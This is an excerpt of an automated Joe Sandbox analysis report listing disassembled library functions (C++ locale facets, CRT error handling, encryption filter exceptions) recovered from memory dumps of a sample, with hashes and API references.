                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
                                  • String ID:
                                  • API String ID: 113178234-0
                                  • Opcode ID: 669508fcfc3fedae74c2a0f3180933787dab377b4b9e97987fb6956d8e0a34a4
                                  • Instruction ID: e22287756cd4d836722198633a5401cd559477e4722bfb8828d063a6b1709260
                                  • Opcode Fuzzy Hash: 669508fcfc3fedae74c2a0f3180933787dab377b4b9e97987fb6956d8e0a34a4
                                  • Instruction Fuzzy Hash: 0C119A36D002589BCF01EBA4D992BAE77B1AF94350F640509F801AB2A1DF789E01CB91
                                  Function 00A4888D Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A48894
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A4889E
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • moneypunct.LIBCPMT ref: 00A488D8
                                  • std::_Facet_Register.LIBCPMT ref: 00A488EF
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A4890F
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A4892D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
                                  • String ID:
                                  • API String ID: 113178234-0
                                  • Opcode ID: a54d5a0fd72a98b158d38b0ee3ff038de73268d115fff20f6998914e71d03087
                                  • Instruction ID: 013f24d6a8712897fcc328886cdeaacce9a6df4b3f13117091c8295e59f163d6
                                  • Opcode Fuzzy Hash: a54d5a0fd72a98b158d38b0ee3ff038de73268d115fff20f6998914e71d03087
                                  • Instruction Fuzzy Hash: 7811A036D00618ABCF01EBA4D942BBE77B0AFC4314F640409F8016B292CF789E05CB91
                                  Function 00A3B0E3 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B0EA
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B0F4
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • collate.LIBCPMT ref: 00A3B12E
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B145
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B165
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B183
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
                                  • String ID:
                                  • API String ID: 2363045490-0
                                  • Opcode ID: d11824235f92a532ab3d5e2e383a74aac5d5966782dd03eccc2371602969285d
                                  • Instruction ID: b3037d3594460b3d9f4d3919bedbd9cbedc38bdd8dce5cad571a887c70ec90c8
                                  • Opcode Fuzzy Hash: d11824235f92a532ab3d5e2e383a74aac5d5966782dd03eccc2371602969285d
                                  • Instruction Fuzzy Hash: 4311A076D002549BCF01EBA4DD56BFEB7B5AF84310F240509F9016B2A1CF789E05C7A1
                                  Function 00A3B03D Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B044
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B04E
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • codecvt.LIBCPMT ref: 00A3B088
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B09F
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B0BF
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B0DD
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
                                  • String ID:
                                  • API String ID: 2594415655-0
                                  • Opcode ID: 67abcb6827716bc11be0b7086953e8e07294d31a4cffaeb4f2518ac9b147537f
                                  • Instruction ID: 0d8e57dce388ef05fe2300ea7cf4b131f56b9ec46eae578a19e0240b1099f387
                                  • Opcode Fuzzy Hash: 67abcb6827716bc11be0b7086953e8e07294d31a4cffaeb4f2518ac9b147537f
                                  • Instruction Fuzzy Hash: D011AC72D00219DBCF05EBA4C942BFE77B1AF84720F240509F911AB2A2DF759E01CBA1
                                  Function 00A3B189 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B190
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B19A
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • collate.LIBCPMT ref: 00A3B1D4
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B1EB
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B20B
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B229
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
                                  • String ID:
                                  • API String ID: 2363045490-0
                                  • Opcode ID: f1b876fc15db2eeb9b936ebb0006b9253f1bf46e8c2927f0d21cc44ee892a71c
                                  • Instruction ID: 0d42d9ceec5d10f2c116ab51bdb56a85966ba216906743f3e3714767edd05e7b
                                  • Opcode Fuzzy Hash: f1b876fc15db2eeb9b936ebb0006b9253f1bf46e8c2927f0d21cc44ee892a71c
                                  • Instruction Fuzzy Hash: 8711A072D002149BCF01EBE8C951BFE77B1AF94720F240609F9116B2A1DF749E01CBA1
                                  Function 00A3B2D5 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B2DC
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B2E6
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • messages.LIBCPMT ref: 00A3B320
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B337
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B357
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B375
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
                                  • String ID:
                                  • API String ID: 438560357-0
                                  • Opcode ID: 6a5d3afcd397fa5f7145b28d7c06652529dfae6c634e9a8e8936096093ed36f1
                                  • Instruction ID: cec151885fb2476e4c1b31fa7392e9ece0ea1598dc747fa13140965be8be75e7
                                  • Opcode Fuzzy Hash: 6a5d3afcd397fa5f7145b28d7c06652529dfae6c634e9a8e8936096093ed36f1
                                  • Instruction Fuzzy Hash: 9011A032D002649BCF05FBA4C945BBE77B5AF84720F240909F9116B2A1CF749E05CBA1
                                  Function 00A3B22F Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B236
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B240
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • ctype.LIBCPMT ref: 00A3B27A
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B291
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B2B1
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B2CF
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowctype
                                  • String ID:
                                  • API String ID: 1394824916-0
                                  • Opcode ID: 9b5b53ff98657ed37e315ac2e2e33e2f52795efdc1bf82e38119e83f7bc74d51
                                  • Instruction ID: 23008083861b272adc5ad1e6925a41fcacafbc6f4fb9c50944809fa0019f0037
                                  • Opcode Fuzzy Hash: 9b5b53ff98657ed37e315ac2e2e33e2f52795efdc1bf82e38119e83f7bc74d51
                                  • Instruction Fuzzy Hash: 2D115A76D002199BCF05EBE4C942BEE77B5AF94720F240509F9116B2A1DF749E06CBA1
                                  Function 00A3B37B Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B382
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B38C
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • messages.LIBCPMT ref: 00A3B3C6
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B3DD
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B3FD
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B41B
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
                                  • String ID:
                                  • API String ID: 438560357-0
                                  • Opcode ID: 94d1e0dbd7a0f09de70b88e25bbe3f555dafa16aa8b6acec7c8487962678aeed
                                  • Instruction ID: fc78df7d0990e90f46f4b84742697c70a17ab54e20fc0705ffd669453cf3d562
                                  • Opcode Fuzzy Hash: 94d1e0dbd7a0f09de70b88e25bbe3f555dafa16aa8b6acec7c8487962678aeed
                                  • Instruction Fuzzy Hash: 0D11A072D006259BCF01FBA8C945BBEB7B1AF98710F240409F9016B291CF749E06CBA1
                                  Function 00A3B6B9 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A3B6C0
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A3B6CA
                                    • Part of subcall function 009C2B00: std::_Lockit::_Lockit.LIBCPMT ref: 009C2B1D
                                    • Part of subcall function 009C2B00: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2B39
                                  • moneypunct.LIBCPMT ref: 00A3B704
                                  • std::_Facet_Register.LIBCPMT ref: 00A3B71B
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A3B73B
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A3B759
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
                                  • String ID:
                                  • API String ID: 113178234-0
                                  • Opcode ID: 6bb723fecbb0efb944309ae7bd3db1f69a6e022139279d48031c479f3fc87940
                                  • Instruction ID: 9e37557006b921c9cf3c839cf2cee595b77e0ef750f3d3655fc6421b289d7c38
                                  • Opcode Fuzzy Hash: 6bb723fecbb0efb944309ae7bd3db1f69a6e022139279d48031c479f3fc87940
                                  • Instruction Fuzzy Hash: E911CE36D002589BCF01EBA8C942BFE77B5AF94710F240909F9156B2E2DF749E01CBA1
                                  Function 00A8437A Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                  • _free.LIBCMT ref: 00A843B1
                                  • _free.LIBCMT ref: 00A843D9
                                  • SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843E6
                                  • SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                  • _abort.LIBCMT ref: 00A843F8
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast$_free$_abort
                                  • String ID:
                                  • API String ID: 3160817290-0
                                  • Opcode ID: d7b03358899270552f13e8b78d66d80891dfe43061ab40747ac56e852487b2e4
                                  • Instruction ID: c3f32e8c61186dab092c32bc0ae32330869827fde103c4e085b439057da2ede7
                                  • Opcode Fuzzy Hash: d7b03358899270552f13e8b78d66d80891dfe43061ab40747ac56e852487b2e4
                                  • Instruction Fuzzy Hash: 24F0C83A10064367DE12B3F97D0AF1B2A79DFCA771B250119F515DA2D1FF208D025361
                                  Function 00A06ED0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 274COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A071FF
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: exceeds the maximum of $: footer length $: header length $: message length
                                  • API String ID: 2005118841-976070898
                                  • Opcode ID: 69ed5646672cd376c23959af0171d0c081dec3771707c52d48e6ccbe5a76e8c6
                                  • Instruction ID: 168cf8b45d7e3b996ed8e1f501973f33987d07ec2f46186615cee5b3ec9afb75
                                  • Opcode Fuzzy Hash: 69ed5646672cd376c23959af0171d0c081dec3771707c52d48e6ccbe5a76e8c6
                                  • Instruction Fuzzy Hash: 32A14B75A0024CEFDB21DFA4CD45FEEBBA8AF58300F144559F949E7281DB74AA048BA1
                                  Function 00A07340 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A07476
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: exceeds the maximum of $ is less than the minimum of $: IV length
                                  • API String ID: 2005118841-1273958906
                                  • Opcode ID: 1be19d4ee7a2bbc38e358112024572686b78ecdfba0907e6cd7944e2e2db05ea
                                  • Instruction ID: e5f0bd07d334130539fcd2751ef6b66a855e73d6ce7f20c8dd477aa18a2afe6c
                                  • Opcode Fuzzy Hash: 1be19d4ee7a2bbc38e358112024572686b78ecdfba0907e6cd7944e2e2db05ea
                                  • Instruction Fuzzy Hash: BD51AE75A0031CABDB11EBA4CC49FDEBBBCAF58304F004595F549A3282DB74AA44CBA1
                                  Function 00A0C940 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 161COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0CA08
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0CAC8
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: AAD$AuthenticatedDecryptionFilter$AuthenticatedEncryptionFilter
                                  • API String ID: 2005118841-4071778396
                                  • Opcode ID: 36774f22eb6d586f88d4ccf79a603afb7e18e23c391451b27499de7aefaa883a
                                  • Instruction ID: ca3e1528b0f3cf7f03e6fae5c5b03a3c152111ea9cc4878d4707d867ae490c8b
                                  • Opcode Fuzzy Hash: 36774f22eb6d586f88d4ccf79a603afb7e18e23c391451b27499de7aefaa883a
                                  • Instruction Fuzzy Hash: 8551817190020DEFCB14DF50DC41FAEBBB9FB48360F004A29F91267691DB71A914CBA0
                                  Function 00A0C760 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 134COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0C804
                                    • Part of subcall function 00A67E0C: RaiseException.KERNEL32(?,?,00A3538C,?,?,Dflt,?,?,?,?,?,00A3538C,?,00AD9978,?), ref: 00A67E6C
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0C8B7
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
